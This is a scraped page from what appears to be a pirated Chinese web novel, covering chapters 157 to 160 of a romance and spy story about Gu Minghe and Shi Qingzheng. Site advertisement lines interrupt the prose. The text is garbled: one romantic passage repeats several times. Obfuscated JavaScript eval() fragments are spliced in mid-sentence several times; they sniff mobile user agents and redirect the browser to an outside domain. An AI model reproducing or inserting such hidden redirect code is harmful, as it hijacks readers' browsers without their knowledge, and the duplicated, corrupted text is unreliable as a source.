顾鸣鹤不知道自己现在的心情怎么形容,明明是甜的,但是细品却有些酸涩。 时清徵:“等过完年吧,我在整理一下情报,不会很难的。” “时小徵,其实该多做一些的人是我。” 时清徵摇头:“可我想给你的,比你想的要更多。” 第157章 你是我最不后悔共享一切的人 顾鸣鹤明白时清徵的意思。 即便没有第七局的任务,时清徵也从未放下过对那个人的杀心。 如今两人目标一致,本该是事半功倍的合作,可顾鸣鹤却觉得自己像是站在了命运优待的那一端。 他携着任务而来,而时清徵却早已为此孤身走了很远的路。 他忽然觉得,自己所谓的合作,反而像是一种窃取。 他多想纯粹的,毫无背景地为时清徵做点什么,而不是像现在这样,仿佛连这份共同的目标,都沾染了任务的色彩。 可他忘了,在爱里本就没有绝对的公平与计算。 时清徵不在乎谁做得更多,他只在乎最终并肩的是谁。 顾鸣鹤最终什么也没说,只是低下头,很轻地吻了吻时清徵的额头。 时清徵看着他。 “对了,先前为了避嫌,不过现在你应该可以告诉我了,你是哪个行动队的? 顾鸣鹤没有隐瞒:“第一行动队队长,代号白鹤。 时清徵不知道这个代号,因为第七局本身就很低调。 而时清徵跟对方无冤无仇,自然不可能闲得慌去扒人家的底裤。 “白鹤,是因为你叫顾鸣鹤吗? 时清徵对这个顾鸣鹤这个身份并不意外,毕竟当时在东南群岛那回就猜到了一点。 不过具体不知道是哪个行动队的而已。 顾鸣鹤:“.这得问林局,代号都是他取的。 时清徵点头:“这样啊。 顾鸣鹤看着他,心中明明有答案,却依旧有些忐忑:“你会怪我没有主动告诉你吗? 时清徵轻笑:“不会。 他凑过去了些,手指划过顾鸣鹤的胸膛。 “你这个人是我的,但并不代表我要将你全部占领。 “你有你的角度,我也有我的认知。 顾鸣鹤的呼吸急促了些:“时小徵 “而且,顾鸣鹤,你是我最不后悔共享一切的人。 我们之间,本就没必要算得那么清。 ———— 天和集团,总裁办公室内。 顾鸣鹤抬起眼,看着那个在自己办公室里漫 你的朋友正在书荒,快去帮帮他吧 无目的晃来晃去的靳云封,语气没什么起伏: “你最好真有什么事。” 靳云封正站在明亮的落地窗前,俯视着楼下小的只剩下黑点的人流与车影。 最后扭过头来,煞有介事地感叹了一句: “这就是霸道总裁的日常吗?果然高处不胜寒啊。” 顾鸣鹤对他这种间歇性发作的戏瘾早已**以为常,连眼皮都懒得抬,只淡淡应了句: “寒就多穿点。没事出门左转,自己打车去精神病院挂个号。” “啧。” 靳云封一把拉过顾鸣鹤对面的椅子,大大咧咧地坐了下来,表情总算正经了几分: “今天来找你,是真有事要商量。” 顾鸣鹤从文件里抬起眼,语气平淡里夹着刀: “难得。你居然还有正事要谈?” 他笔尖稍顿,像是忽然想起什么,又淡淡补了一刀: “我还以为,你家老爷子早就放弃让你‘改邪归正’了。”顾鸣鹤笔下未停,语气平淡地抛出一句。 靳云封顿时垮下肩膀,长叹一声:“别提了!我大哥结完婚之后,我爷爷就跟盯上我了似的,天天在我耳边念,说年纪不小了该成家了。” 他烦躁地抓了把头发:“我说老爷子就是闲的,整天琢磨着当月老牵红线。” “就我这样吊儿郎当的,谁看得上?还不如放我自在点儿出去花天酒地。” 他一股脑抱怨完,又沉重地叹了口气。 顾鸣鹤终于从文件里抬起头,微微一笑:“别这么说自己。” 靳云封眼睛一亮,仿佛找到知音:“是吧兄弟!还是你懂” “你也不是一无是处。”顾鸣鹤温和地截断他的话,补充道。 “至少挺有自知之明的,这点很难得。” 靳云封:“.顾哥,不损我咱俩还是好发小。” 他正了正神色,脸上那点玩世不恭渐渐收敛起来,忽然问道:“说真的,你记不记得之前那个卢安岚?” 顾鸣鹤笔尖一顿。 靳云封扯了扯嘴角,眼里却没多少笑意:“我家老爷子和她家那点娃娃亲的老玩笑,现在又被翻出来了。” 他向前倾身,手肘撑在桌面上,语气彻底沉了下来:“我 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 不想结。但直接翻脸,两家都难看。” 顾鸣鹤:“所以.?” “所以我哥给我指了条明路,要是我能拿下宋氏和天和那个科技园区智慧升级的项目,然后把它做成了,他就替我去爷爷那儿周旋。” 靳云封说着,自己也觉得这事有点滑稽又无奈。 他这会儿来找顾鸣鹤,还真是来谈正事的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16344572|183125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 顾鸣鹤抬眼,语气没什么波澜:“你信他?” 靳云封苦笑一声,往后一靠:“不然呢?你是没见过我家老头子那架势,他是真干得出来断我信用卡,逼我乖乖就范的事。” 他耸耸肩,语气半真半假:“像我这种娇生惯养的,可吃不了那种苦。离家出走?睡天桥还是喝西北风?算了吧。” 顾鸣鹤没接话,只静静看了他几秒。 靳云封则是一脸认真:“顾总,你要相信我,你总不能真看着我被逼婚吧?” 顾鸣鹤思忖半晌,手指往桌面上轻轻一叩:“项目可以给你。” 靳云封的眼睛瞬间亮了起来。 但顾鸣鹤又慢悠悠地补充道:“但是你要明白,一旦签了合同,我不管你是为了躲婚还是真想做事,项目期间必须按照天和的标准来。” “要是做不好,我会直接要求换负责人,到时候靳家的面子可救不了你。” 靳云封闻言非但不怵,反而身子还往前靠了靠,一脸认真: “顾总放心,我靳云封虽然是混了点,但还是不会砸我们靳家的招牌的。” 顾鸣鹤答应将项目交给靳云封,与其说是相信靳云封本人,不如说是相信靳家。 更准确地说,是相信靳云封那位作风强硬,极重家族声誉的大哥。 若项目真出了什么纰漏,靳家绝无可能坐视不管。 届时无需顾鸣鹤出手,靳家自会动用一切资源填补漏洞,挽回局面。 这份底气,才是顾鸣鹤最终松口的真正原因。 更何况,正如靳云封自己所言,他混是混了点,却并非没有真本事。 只是平日那副玩世不恭的模样太过醒目,让人忘了这位靳二少可不是个傻的。 签了合同,定了项目启动会后,顾鸣鹤看着还坐在那的靳云封。 “正事都谈完了,你怎么还不走?” 靳云封又恢复了那不着调的模样:“正事谈完了,这不是还有私事吗?” 顾鸣鹤:“什么私事?” 靳云封忽然纠结了起来,犹豫两秒才慢吞吞开口。 “就是吧嘶.就是你家那位。” 顾鸣鹤本来都有点烦他了,一听他提到时清徵,瞬间来了精神。 他一脸狐疑地看着靳云封:“你去招他了?” “不是!顾哥你能不能想我点好的?” 靳云封眼睛瞪大,一副你怎么可以冤枉我的样子。 “就是.我上次去夜总会玩,碰到他了。” 第158章 心之所向 顾鸣鹤微微一怔:“.夜总会?” 靳云封一看他这反应就知道他完全不知情,顿时更来劲了,绘声绘色地比划起来: “你家那位可太牛了,我亲眼看见他一个人,就他一个,把十几个保镖全干翻了。 动作那叫一个干脆利落,我酒都吓醒了!” 他激动得一拍大腿:“顾哥你是没看见,那场面,啧,不知道的还以为在拍武打电影!” 顾鸣鹤沉默了片刻,缓缓靠向椅背,眼底情绪不明,只淡淡问了一句: “什么时候的事?” “就前几天啊,你出差那会儿。” 靳云封凑近几分,语气愈发夸张:“不是,顾哥你怎么一点都不惊讶?一个正常人,那么能打,合理吗?!” 顾鸣鹤面无表情:“.我知道。” 靳云封顿时瞪大眼睛:“你还知道?!不是,你怎么会知道?你看见过?” 顾鸣鹤显然不打算解释,只瞥他一眼:“你说完没?说完了就赶紧走。” 靳云封一看他这态度,故意拖长了语调:“哎,本来还想跟你仔细说说,他从顶楼包厢里救出来那个外国小帅哥.” 顾鸣鹤手指一顿:“什么?” 靳云封眼里闪着看好戏的光,绘声绘色地艺术加工: “就他单挑完一群保镖,冲进顶楼包间,把一个被堵在里头,吓得脸色发白的小帅哥给带出来了。” 他咂咂嘴,故意感慨;“别说,那小帅哥长得还挺标致。” “眼睛红红的,一看就是被英雄救美了啊。” 顾鸣鹤指节微微发白,语气却依然平静:“我知道,你可以走了。” 靳云封耸耸肩,终于慢悠悠朝门外晃去。 门轻声合上。 顾鸣鹤仍坐在椅中一动不动,过会儿才缓缓靠向椅背。 半晌,很轻地闭了一下眼睛。 有些人表面上平静无波,心里却早已碎得悄无声息。 ———— 时清徵看着一回来就耷拉着脑袋的顾鸣鹤。 “怎么了?” 顾鸣鹤一脸幽怨地看着他。 缓缓吐出两个字。 “深海。” 深海,那个夜总会的名字。 时清徵:“.” 顾鸣鹤看时清徵有些飘忽的眼神,更幽怨了:“金发少年.” 时清徵:“你听我解释。” 顾鸣鹤往沙发上上一坐,坐在最中央,双手放在两旁,明目张胆地霸占了一整个沙发。 然后抬头看着时清徵,一副你不解释我就不放过你的表情。 时清徵战术性咳嗽,想着要从哪里开始讲起。 “其实事情吧,是这个样子的.” 废了好一番口舌,终于从头到尾给顺清楚了。 最后微笑。 “所以,你懂了吧?” 顾鸣鹤眉目舒展,但依旧端着姿态:“懂了,不过这并不影响我生气,谁让你什么事都不告诉我。” “我这不是在跟你解释嘛。” “我不希望你是因为我希望你告诉我,你才告诉我,我希望的是你告诉我我想被你告诉的,你才告诉我。” 顾鸣鹤像是终于占了一次上风,就逮着这个借口不放过了。 下巴微扬,神色骄矜。 时清徵:“.滚。” 给你脸了。 被时清徵这一讲,顾鸣鹤的脑袋顺势耷拉了下来,整个人都低迷了。 半晌没见时清徵说话,然后抬了抬眼皮,偷摸看了眼他。 结果就看见时清徵抱胸望着自己。 顾鸣鹤: 两人的目光在空气中交汇。 一个带着点不满和委屈,一个带着我看你装的的轻松,嘴角还有几分惬意。 但这委屈来的本就缥缈,对视没几秒就绷不住了。 顾鸣鹤偏过头去笑。 “你还笑呢。” 时清徵看着没能继续演下去的顾鸣鹤,心中也有些好笑。 顾鸣鹤笑了会,又正眼看着时清徵:“不笑难道要哭吗,我的心都碎成好几块了。” “那我帮先生捡一捡,怎么样?” 时清徵走到人跟前,勾住顾鸣鹤的领口,低声笑道。 顾鸣鹤喉结微动,顺着那几近于无的力道缓缓站起身。 低头凑近,呼吸抚过时清徵的唇 边,语气像是在蛊惑。 “那宝贝儿打算怎么捡?” “毕竟,你可是单挑了一群保镖。” “英雄救美,救了个小有姿色的人。” “还让我的心偷偷碎了这么长时间。” 顾鸣鹤扣住人的手腕把人往自己的怀里带。 然后让时清徵的手按在自己的胸口。 “你摸摸,看看它碎了没有。” 胸口处剧烈的跳动传到时清徵的掌心,一下又一下,炽热而强烈。 “没碎,好着呢。” “真的吗?”顾鸣鹤垂眸看他。 时清徵的手按在顾鸣鹤的胸口处,又轻轻拍了几下。 “你碎了吗?” 那认真的表情,倒真像是在跟顾鸣鹤的心对话。 心忽然跳得厉害。 如果这个心真的有意识,怕是已经迫不及待的张口回答了。 时清徵抬眸轻笑:“先生啊,它这是在回应我吗?” 顾鸣鹤的手顺着时清徵的脊背往上细细挪去,直到落在时清徵的后颈。 捏了下,又往前虚划到他的下巴,捏住,蹭了两下。 “是啊,它在回你。” “那它碎了吗?” “没有。” 这种有些幼稚的对话却也让两个人乐此不疲,聊得津津有味。 甚至一度聊到自己这颗心是不是要向对方倒戈了,不然怎么一度跳得厉害。 根本不受控制。 顾鸣鹤眼底的那些委屈和醋意早已散个干净。 取而代之的是得逞之后根本藏不住的明亮笑意。 开口时语气里都带着懒洋洋的满足:“今天怎么这么好说话?” 时清徵掀眼瞥他,刚开口,还没来得及说话就被黏黏糊糊地吻住了。 这个吻又慢又黏人,时不时分开一下,然后又轻轻点回去。 像是一遍又一遍地盖戳。 由浅至深,周而复始,乐此不疲。 前调舒缓,后调浓烈,先是清风,后是雷霆和骤雨。 一吻结束,顾鸣鹤的额头抵住他的,呼吸还在交缠,就像这个吻还没结束一样。 “以后行侠仗义记得带上我。” “我要看紧你。” 时清徵低低地哼了声,算是答应了,也没推开他。 边,语气像是在蛊惑。 “那宝贝儿打算怎么捡?” “毕竟,你可是单挑了一群保镖。” “英雄救美,救了个小有姿色的人。” “还让我的心偷偷碎了这么长时间。” 顾鸣鹤扣住人的手腕把人往自己的怀里带。 然后让时清徵的手按在自己的胸口。 “你摸摸,看看它碎了没有。” 胸口处剧烈的跳动传到时清徵的掌心,一下又一下,炽热而强烈。 “没碎,好着呢。” “真的吗?”顾鸣鹤垂眸看他。 时清徵的手按在顾鸣鹤的胸口处,又轻轻拍了几下。 “你碎了吗?” 那认真的表情,倒真像是在跟顾鸣鹤的心对话。 心忽然跳得厉害。 如果这个心真的有意识,怕是已经迫不及待的张口回答了。 时清徵抬眸轻笑:“先生啊,它这是在回应我吗?” 顾鸣鹤的手顺着时清徵的脊背往上细细挪去,直到落在时清徵的后颈。 捏了下,又往前虚划到他的下巴,捏住,蹭了两下。 “是啊,它在回你。” “那它碎了吗?” “没有。” 这种有些幼稚的对话却也让两个人乐此不疲,聊得津津有味。 甚至一度聊到自己这颗心是不是要向对方倒戈了,不然怎么一度跳得厉害。 根本不受控制。 顾鸣鹤眼底的那些委屈和醋意早已散个干净。 取而代之的是得逞之后根本藏不住的明亮笑意。 开口时语气里都带着懒洋洋的满足:“今天怎么这么好说话?” 时清徵掀眼瞥他,刚开口,还没来得及说话就被黏黏糊糊地吻住了。 这个吻又慢又黏人,时不时分开一下,然后又轻轻点回去。 像是一遍又一遍地盖戳。 由浅至深,周而复始,乐此不疲。 前调舒缓,后调浓烈,先是清风,后是雷霆和骤雨。 一吻结束,顾鸣鹤的额头抵住他的,呼吸还在交缠,就像这个吻还没结束一样。 “以后行侠仗义记得带上我。” “我要看紧你。” 时清徵低低地哼了声,算是答应了,也没推开他。 边,语气像是在蛊惑。 “那宝贝儿打算怎么捡?” “毕竟,你可是单挑了一群保镖。” “英雄救美,救了个小有姿色的人。” “还让我的心偷偷碎了这么长时间。” 顾鸣鹤扣住人的手腕把人往自己的怀里带。 然后让时清徵的手按在自己的胸口。 “你摸摸,看看它碎了没有。” 胸口处剧烈的跳动传到时清徵的掌心,一下又一下,炽热而强烈。 “没碎,好着呢。” “真的吗?”顾鸣鹤垂眸看他。 时清徵的手按在顾鸣鹤的胸口处,又轻轻拍了几下。 “你碎了吗?” 那认真的表情,倒真像是在跟顾鸣鹤的心对话。 心忽然跳得厉害。 如果这个心真的有意识,怕是已经迫不及待的张口回答了。 时清徵抬眸轻笑:“先生啊,它这是在回应我吗?” 顾鸣鹤的手顺着时清徵的脊背往上细细挪去,直到落在时清徵的后颈。 捏了下,又往前虚划到他的下巴,捏住,蹭了两下。 “是啊,它在回你。” “那它碎了吗?” “没有。” 这种有些幼稚的对话却也让两个人乐此不疲,聊得津津有味。 甚至一度聊到自己这颗心是不是要向对方倒戈了,不然怎么一度跳得厉害。 根本不受控制。 顾鸣鹤眼底的那些委屈和醋意早已散个干净。 取而代之的是得逞之后根本藏不住的明亮笑意。 开口时语气里都带着懒洋洋的满足:“今天怎么这么好说话?” 时清徵掀眼瞥他,刚开口,还没来得及说话就被黏黏糊糊地吻住了。 这个吻又慢又黏人,时不时分开一下,然后又轻轻点回去。 像是一遍又一遍地盖戳。 由浅至深,周而复始,乐此不疲。 前调舒缓,后调浓烈,先是清风,后是雷霆和骤雨。 一吻结束,顾鸣鹤的额头抵住他的,呼吸还在交缠,就像这个吻还没结束一样。 “以后行侠仗义记得带上我。” “我要看紧你。” 时清徵低低地哼了声,算是答应了,也没推开他。 边,语气像是在蛊惑。 “那宝贝儿打算怎么捡?” “毕竟,你可是单挑了一群保镖。” “英雄救美,救了个小有姿色的人。” “还让我的心偷偷碎了这么长时间。” 顾鸣鹤扣住人的手腕把人往自己的怀里带。 然后让时清徵的手按在自己的胸口。 “你摸摸,看看它碎了没有。” 胸口处剧烈的跳动传到时清徵的掌心,一下又一下,炽热而强烈。 “没碎,好着呢。” “真的吗?”顾鸣鹤垂眸看他。 时清徵的手按在顾鸣鹤的胸口处,又轻轻拍了几下。 “你碎了吗?” 那认真的表情,倒真像是在跟顾鸣鹤的心对话。 心忽然跳得厉害。 如果这个心真的有意识,怕是已经迫不及待的张口回答了。 时清徵抬眸轻笑:“先生啊,它这是在回应我吗?” 顾鸣鹤的手顺着时清徵的脊背往上细细挪去,直到落在时清徵的后颈。 捏了下,又往前虚划到他的下巴,捏住,蹭了两下。 “是啊,它在回你。” “那它碎了吗?” “没有。” 这种有些幼稚的对话却也让两个人乐此不疲,聊得津津有味。 甚至一度聊到自己这颗心是不是要向对方倒戈了,不然怎么一度跳得厉害。 根本不受控制。 顾鸣鹤眼底的那些委屈和醋意早已散个干净。 取而代之的是得逞之后根本藏不住的明亮笑意。 开口时语气里都带着懒洋洋的满足:“今天怎么这么好说话?” 时清徵掀眼瞥他,刚开口,还没来得及说话就被黏黏糊糊地吻住了。 这个吻又慢又黏人,时不时分开一下,然后又轻轻点回去。 像是一遍又一遍地盖戳。 由浅至深,周而复始,乐此不疲。 前调舒缓,后调浓烈,先是清风,后是雷霆和骤雨。 一吻结束,顾鸣鹤的额头抵住他的,呼吸还在交缠,就像这个吻还没结束一样。 “以后行侠仗义记得带上我。” “我要看紧你。” 时清徵低低地哼了声,算是答应了,也没推开他。 边,语气像是在蛊惑。 “那宝贝儿打算怎么捡?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16344573|183125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “毕竟,你可是单挑了一群保镖。” “英雄救美,救了个小有姿色的人。” “还让我的心偷偷碎了这么长时间。” 顾鸣鹤扣住人的手腕把人往自己的怀里带。 然后让时清徵的手按在自己的胸口。 “你摸摸,看看它碎了没有。” 胸口处剧烈的跳动传到时清徵的掌心,一下又一下,炽热而强烈。 “没碎,好着呢。” “真的吗?”顾鸣鹤垂眸看他。 时清徵的手按在顾鸣鹤的胸口处,又轻轻拍了几下。 “你碎了吗?” 那认真的表情,倒真像是在跟顾鸣鹤的心对话。 心忽然跳得厉害。 如果这个心真的有意识,怕是已经迫不及待的张口回答了。 时清徵抬眸轻笑:“先生啊,它这是在回应我吗?” 顾鸣鹤的手顺着时清徵的脊背往上细细挪去,直到落在时清徵的后颈。 捏了下,又往前虚划到他的下巴,捏住,蹭了两下。 “是啊,它在回你。” “那它碎了吗?” “没有。” 这种有些幼稚的对话却也让两个人乐此不疲,聊得津津有味。 甚至一度聊到自己这颗心是不是要向对方倒戈了,不然怎么一度跳得厉害。 根本不受控制。 顾鸣鹤眼底的那些委屈和醋意早已散个干净。 取而代之的是得逞之后根本藏不住的明亮笑意。 开口时语气里都带着懒洋洋的满足:“今天怎么这么好说话?” 时清徵掀眼瞥他,刚开口,还没来得及说话就被黏黏糊糊地吻住了。 这个吻又慢又黏人,时不时分开一下,然后又轻轻点回去。 像是一遍又一遍地盖戳。 由浅至深,周而复始,乐此不疲。 前调舒缓,后调浓烈,先是清风,后是雷霆和骤雨。 一吻结束,顾鸣鹤的额头抵住他的,呼吸还在交缠,就像这个吻还没结束一样。 “以后行侠仗义记得带上我。” “我要看紧你。” 时清徵低低地哼了声,算是答应了,也没推开他。 边,语气像是在蛊惑。 “那宝贝儿打算怎么捡?” “毕竟,你可是单挑了一群保镖。” “英雄救美,救了个小有姿色的人。” “还让我的心偷偷碎了这么长时间。” 顾鸣鹤扣住人的手腕把人往自己的怀里带。 然后让时清徵的手按在自己的胸口。 “你摸摸,看看它碎了没有。” 胸口处剧烈的跳动传到时清徵的掌心,一下又一下,炽热而强烈。 “没碎,好着呢。” “真的吗?”顾鸣鹤垂眸看他。 时清徵的手按在顾鸣鹤的胸口处,又轻轻拍了几下。 “你碎了吗?” 那认真的表情,倒真像是在跟顾鸣鹤的心对话。 心忽然跳得厉害。 如果这个心真的有意识,怕是已经迫不及待的张口回答了。 时清徵抬眸轻笑:“先生啊,它这是在回应我吗?” 顾鸣鹤的手顺着时清徵的脊背往上细细挪去,直到落在时清徵的后颈。 捏了下,又往前虚划到他的下巴,捏住,蹭了两下。 “是啊,它在回你。” “那它碎了吗?” “没有。” 这种有些幼稚的对话却也让两个人乐此不疲,聊得津津有味。 甚至一度聊到自己这颗心是不是要向对方倒戈了,不然怎么一度跳得厉害。 根本不受控制。 顾鸣鹤眼底的那些委屈和醋意早已散个干净。 取而代之的是得逞之后根本藏不住的明亮笑意。 开口时语气里都带着懒洋洋的满足:“今天怎么这么好说话?” 时清徵掀眼瞥他,刚开口,还没来得及说话就被黏黏糊糊地吻住了。 这个吻又慢又黏人,时不时分开一下,然后又轻轻点回去。 像是一遍又一遍地盖戳。 由浅至深,周而复始,乐此不疲。 前调舒缓,后调浓烈,先是清风,后是雷霆和骤雨。 一吻结束,顾鸣鹤的额头抵住他的,呼吸还在交缠,就像这个吻还没结束一样。 “以后行侠仗义记得带上我。” “我要看紧你。” 时清徵低低地哼了声,算是答应了,也没推开他。 边,语气像是在蛊惑。 “那宝贝儿打算怎么捡?” “毕竟,你可是单挑了一群保镖。” “英雄救美,救了个小有姿色的人。” “还让我的心偷偷碎了这么长时间。” 顾鸣鹤扣住人的手腕把人往自己的怀里带。 然后让时清徵的手按在自己的胸口。 “你摸摸,看看它碎了没有。” 胸口处剧烈的跳动传到时清徵的掌心,一下又一下,炽热而强烈。 “没碎,好着呢。” “真的吗?”顾鸣鹤垂眸看他。 时清徵的手按在顾鸣鹤的胸口处,又轻轻拍了几下。 “你碎了吗?” 那认真的表情,倒真像是在跟顾鸣鹤的心对话。 心忽然跳得厉害。 如果这个心真的有意识,怕是已经迫不及待的张口回答了。 时清徵抬眸轻笑:“先生啊,它这是在回应我吗?” 顾鸣鹤的手顺着时清徵的脊背往上细细挪去,直到落在时清徵的后颈。 捏了下,又往前虚划到他的下巴,捏住,蹭了两下。 “是啊,它在回你。” “那它碎了吗?” “没有。” 这种有些幼稚的对话却也让两个人乐此不疲,聊得津津有味。 甚至一度聊到自己这颗心是不是要向对方倒戈了,不然怎么一度跳得厉害。 根本不受控制。 顾鸣鹤眼底的那些委屈和醋意早已散个干净。 取而代之的是得逞之后根本藏不住的明亮笑意。 开口时语气里都带着懒洋洋的满足:“今天怎么这么好说话?” 时清徵掀眼瞥他,刚开口,还没来得及说话就被黏黏糊糊地吻住了。 这个吻又慢又黏人,时不时分开一下,然后又轻轻点回去。 像是一遍又一遍地盖戳。 由浅至深,周而复始,乐此不疲。 前调舒缓,后调浓烈,先是清风,后是雷霆和骤雨。 一吻结束,顾鸣鹤的额头抵住他的,呼吸还在交缠,就像这个吻还没结束一样。 “以后行侠仗义记得带上我。” “我要看紧你。” 时清徵低低地哼了声,算是答应了,也没推开他。 第159章 哈屯,烂脸豹 卧室内。 时清徵将电脑转向顾鸣鹤,屏幕里是一份资料。 “这是我目前能查到的,关于幽灵组织最高负责人的所有信息。 他指尖轻点,调出一张模糊的侧影轮廓图和几页文字。 “没有人知道他的本名,有一种说法是说他叫哈屯,不过哈屯在当地语中是家中老大的意思。 “其次他在道上有个流传很广的代号。 顾鸣鹤目光一凝:“烂脸豹? “对。 时清徵抬眼看向顾鸣鹤:“据说他早年半张脸严重毁容,皮肤溃烂不堪。 不过我之前刺杀他的那次并没有看出他的脸有什么明显的异样。 可能是做过整形手术,但这个称呼已经甩不掉了。 他滑动页面,调出一张极其模糊的旧照截图。 画面中男人的侧脸隐约能看见凹凸不平的疤痕痕迹,狰狞如豹纹。 “这张照片的时间有些久了,约是二十年前。 “和我三年前见到他时长得并不像,整容力度挺大的。 顾鸣鹤:“我们这边也查到过他的一些资料,就比如他看人时似乎习惯性眯左眼。 时清徵点头:“对,应该是受伤影响神经,而且他还是个左撇子。 当年时清徵射出去的那一枪正好穿透了对方的左肩胛骨。 就**而言,那个**是直接击碎了他的整个肩关节。 这种程度的伤,就算是后期治疗得当,也一定会留下后遗症。 从某种意义上,时清徵算是废了他一只手。 两人将各自掌握的情报铺陈开来,碎片化的信息逐渐整合。 时清徵扫过顾鸣鹤传来的几份加密档案,眼中掠过一丝讶异。 “连他早期利用渔船走私物资的流水都摸清了,你们第七局这么多年,确实没闲着。 顾鸣鹤神色未变:“这是他在赤洲参与的一次武装叛乱,虽然当时他用了化名,但我们通过特殊手段锁定了他的身份。 第七局的这份资料的有些细节很详尽,连时清徵自己都未曾探查的如此深。 “你们连他这么多年前的底细都翻了出来? 顾 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 鸣鹤:“第七局盯上幽灵组织很多年了对每一任首领都有调查。” 这一任的首领原先只是一个幽灵组织的高层管理后来杀了前一任上了位。 不过事实也证明了这个人的确是要能力有能力要野心有野心。 的确不是个好对付的角色。 时清徵抬手啪地一声合上电脑屏幕瞬间暗了下去。 他向后靠进椅背:“算了现在急也没用这种事还得从长计议。” 顾鸣鹤的目光从他合上的电脑移到她脸上安静地点了下头: “也是。” 窗外夜色沉降风声疏落。 ———— 程俊安不知道是第几次联系周景深了那契而不舍的精神让时清徵都有些感动。 “行那就让他有空请我吃顿饭吧。” 时清徵对着电话那头的周景深道。 周景深:“好那我把您的联系方式推给他?” 时清徵同意了。 挂掉电话后半个小时一条新的联系人申请就发了过来。 【时董您好我是程氏娱乐的总裁程俊安.】 时清徵看着这条申请扬唇笑了下。 程氏娱乐总裁吗?现在可不是你了哦 申请通过后程俊安迫不及待的发来了消息。 【程俊安:不知道时董什么时候有空我请您喝一杯?】 【你洗了蒜了:那就今晚毕竟程总最近应该挺悠闲的。】 看到悠闲这两个字 但却还是打字回复。 【程俊安:好的您看云顶餐厅如何?】 【你洗了蒜了:可以。】 时清徵还不忘点进对方的朋友圈只见朋友圈里全都是一些有关财经的新闻转发。 置顶的那一条显得格格不入是一张全家福。 左边站着程俊安右边站着江晓蕾中间则是他们的儿子。 这一幕显得分外温馨任谁看了不说一句家庭美满。 不过这张全家福在现在的时清徵眼里却显得有些可笑。 他点了个赞然后就退出来了。 听说看这本书的人都是很幸运的,分享后你的运气会更棒35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16355043|183125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> ———— 云顶餐厅。 程俊安也没料到时清徵会突然答应见面,费了不少周折才托人临时订下包间。 时间一分一秒流逝,却始终不见时清徵的人影。 他心中渐渐升起几分忐忑,目光不时瞥向门口。 服务员走近轻声询问:“程先生,需要开什么酒?” 程俊安今日毕竟有求于人,咬了咬牙,将先前存在这里,珍藏多年都未舍得开封的好酒取了出来。 他拿起手机想给时清徵发消息,又担心频繁催促反而惹人厌烦。 犹豫片刻,最终还是将手机放下。 就在他心情逐渐沉向谷底之时,时清徵终于姗姗来迟。 “程总,路上有些堵车,来迟了些,不介意吧?” 时清徵含笑入座。 程俊安下意识打量这位光影娱乐背后的大股东,居然如此年轻。 再观面貌,那是一副极好的皮囊,眉眼清俊,气质清雅。 第一眼就让人不由放松警惕。 只是程俊安看着时清徵,总觉得有几分熟悉,却又说不出来哪里熟悉。 一时间,倒愣坐在原位没有动静。 时清徵见程俊安盯着他看,也没恼,只是开口提醒:“程总?” “一直看着我,你这是介意我来迟了。” 程俊安连忙摇头回应:“当然不介意。” 见时清徵这么年轻,程俊安下意识就放松了警惕,难免生出了些轻视来。 他抬手召来服务员:“时董看还有什么想点的,我再让他们加。” 时清徵唇角微扬:“怎么好让程总如此破费?” “哦,现在该称程先生了。” 他像是忽然意识到失言,略带歉意地朝程俊安笑了笑。 程俊安刚一照面就被提起卸任的事,脸上的笑容险些挂不住。 “时董怎么称呼都行,不过是个名头罢了。” 他干笑两声,嘴角微微抽搐,强撑着才没让表情崩坏。 时清徵将他细微的神情变化尽收眼底,眼底掠过一丝不易察觉的愉悦。 “程先生果然潇洒。” 程俊安尬笑两声,点头,却没有接话。 第160章 求什么 “这应该是我和程先生第一次见面吧。 “是啊,时董是大忙人,想见一面可真不容易。 时清徵轻笑:“什么大忙人,程先生就别抬举我了,不过是做些小本生意。 “时董太谦虚了,光影娱乐这两年发展迅猛,前不久还和天和集团达成了合作。还没来得及恭喜您呢。 程俊安的心理素质到底过硬,竟能面不改色地提起天和集团。 那从容淡定的模样,丝毫看不出他曾被截胡过那个合作。 时清徵:“要说恭喜,我也该恭喜程先生。能和宋氏集团达成合作,也是美事一桩。 “哈哈,您太客气了,谈不上什么美事。 程俊安嘴上应酬着,心里却再清楚不过。 程氏娱乐与宋氏的那个合作,分明是被对方占尽便宜,充其量只能勉强挽回部分损失。 这声美事,听着实在讽刺。 眼瞅着程俊安的情绪被提起,时清徵也没有放过这个机会。 一句话引入正题。 “说真的,我还有些意外,程氏集团的根基深厚,这点风波令尊的行为有些偏激啊。 时清徵摇头,似乎真的在为程俊安被罢免而感到惋惜。 程俊安:“股东会的决定,我也无从干涉。 